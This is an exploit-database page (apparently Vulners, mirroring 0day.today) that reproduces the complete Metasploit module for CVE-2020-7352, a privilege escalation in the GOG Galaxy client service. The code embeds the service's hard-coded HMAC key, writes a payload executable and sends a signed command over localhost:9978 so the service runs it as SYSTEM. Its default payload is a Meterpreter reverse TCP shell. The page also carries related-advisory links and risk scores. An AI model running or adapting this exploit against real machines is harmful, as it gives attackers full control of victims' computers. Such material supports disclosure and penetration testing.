Lucene search
K

GOG GalaxyClientService Privilege Escalation Exploit

🗓️ 15 Jun 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 116 Views

GOG GalaxyClientService Privilege Escalation. Arbitrary files executed with SYSTEM privilege

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Use of Hard-coded Credentials in Gog Galaxy
16 Feb 202417:14
githubexploit
Circl
CVE-2020-7352
15 Jun 202014:42
circl
CNVD
GOG Galaxy Privilege Permission and Access Control Issues Vulnerability (CNVD-2021-25692)
17 Jun 202000:00
cnvd
CVE
CVE-2020-7352
6 Aug 202015:45
cve
Cvelist
CVE-2020-7352 GOG Galaxy GalaxyClientService Privilege Escalation
6 Aug 202015:45
cvelist
Metasploit
GOG GalaxyClientService Privilege Escalation
18 May 202021:09
metasploit
NVD
CVE-2020-7352
6 Aug 202016:15
nvd
OSV
CVE-2020-7352
6 Aug 202016:15
osv
Packet Storm
GOG GalaxyClientService Privilege Escalation
15 Jun 202000:00
packetstorm
Prion
Design/Logic Flaw
6 Aug 202016:15
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/windows/services'
require 'openssl'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GOG GalaxyClientService Privilege Escalation',
        'Description' => %q{
          This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed
          with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are
          also likely affected).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Joe Testa <jtesta[at]positronsecurity.com>'
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' =>
        [
          [
            'Windows (Dropper)',
            'Platform' => 'win',
            'Arch' => [ ARCH_X86, ARCH_X64 ],
            'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' },
            'Type' => :dropper
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'Apr 28 2020',
        'References' =>
        [
          ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'],
          ['CVE', '2020-7352']
        ],
        'Notes' =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ]
        }
      )
    )

    register_options(
      [
        OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]),
        OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\'])
      ]
    )
  end

  def check
    log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log')
    service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe')

    return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path)
    return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path)

    log_data = read_file(log_path)
    unless log_data && /Application\s+version:\s+(?<ver_no>\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data
      return CheckCode::Detected('Unable to determine version from log file')
    end

    return CheckCode::Detected('Galaxy Client version not found') unless ver_no

    version = Gem::Version.new(ver_no)

    return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13')

    CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable")
  end

  def exploit
    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
    fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter'

    # The HMAC-SHA512 key for signing file_paths.
    key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f"
    key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb"
    key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c"
    key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4"
    key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd"
    key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d"

    # Start the GalaxyClientService.  It will automatically terminate after ~10
    # seconds of inactivity, so we don't need to bother shutting it down later.
    print_status('Starting GalaxyClientService...')
    ret = service_start('GalaxyClientService')
    if ret == 0
      print_status('Service started successfully.')
    elsif (ret == 1056) || (ret == 1)
      print_warning('Service already running.  If the file_path execution fails, try it again in 15 seconds or so.')
    else
      print_status("Service status unknown (return code: #{ret}).  Continuing anyway...")
    end

    print_status('Connecting to service...')

    # Create a TCP socket.
    handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
    s = handler['return']

    # Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).
    # This only affects the recv(), not connect().
    handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)

    # Set the socket address structure to localhost:9978.
    sock_addr = "\x02\x00"
    sock_addr << [9978].pack('n')
    sock_addr << Rex::Socket.addr_aton('127.0.0.1')
    sock_addr << "\x00" * 8

    # Connect to the service.  Retry up to 3 times, waiting 2 seconds in
    # between.
    connected = false
    retries = 0
    while (retries < 3) && (connected == false)
      retries += 1
      handler = client.railgun.ws2_32.connect(s, sock_addr, 16)
      if handler['GetLastError'] == 0
        connected = true
      else
        print_warning('Connection failed.  Waiting 2 seconds and trying again...')
        Rex.sleep(2)
      end
    end

    fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected

    data = build_payload(key)
    print_status('Connected to service.  Sending payload...')

    # Here, we are calling client.railgun.ws2_32.send().  However, there's a bug
    # somewhere in the railgun system such that send() is never called.  It
    # seems that some mystery code is intercepting send() instead of letting it
    # get to LibraryWrapper.method_missing() (perhaps 'send' is a special case
    # somewhere? The other ws2_32 functions work just fine...).  To work around
    # this problem, we will simply call it directly with call_function().
    send_func = client.railgun.ws2_32.functions['send']
    client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client)

    # Read the server's response.  On error, it returns nothing.
    response = "\x00" * 512
    handler = client.railgun.ws2_32.recv(s, response, response.length, 0)

    # Convert the unsigned return value to a signed value.
    ret = [handler['return'].to_i].pack('l').unpack1('l')
    if ret <= 0
      print_error("Failed to read response from service (return value from recv(): #{ret}).  This probably means the exploit failed.  :(")
    else
      print_good('Command executed successfully!')
    end

    client.railgun.ws2_32.closesocket(s)
  end

  def build_payload(key)
    working_dir = datastore['WORKING_DIR']

    header1 = "\x00\x93\x08\x04\x10\x01\x18"
    header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01"

    payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe"
    file_path = expand_path("#{datastore['PATH']}\\#{payload_name}")
    payload_data = generate_payload_exe

    print_status("Writing #{file_path} to target")
    write_file(file_path, payload_data)
    register_file_for_cleanup(file_path)

    gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12"
    gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\"  \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01"

    payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd)
    header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jun 2020 00:00Current
1.3Low risk
Vulners AI Score1.3
CVSS 27.2
CVSS 3.18.4 - 8.8
EPSS0.1073
116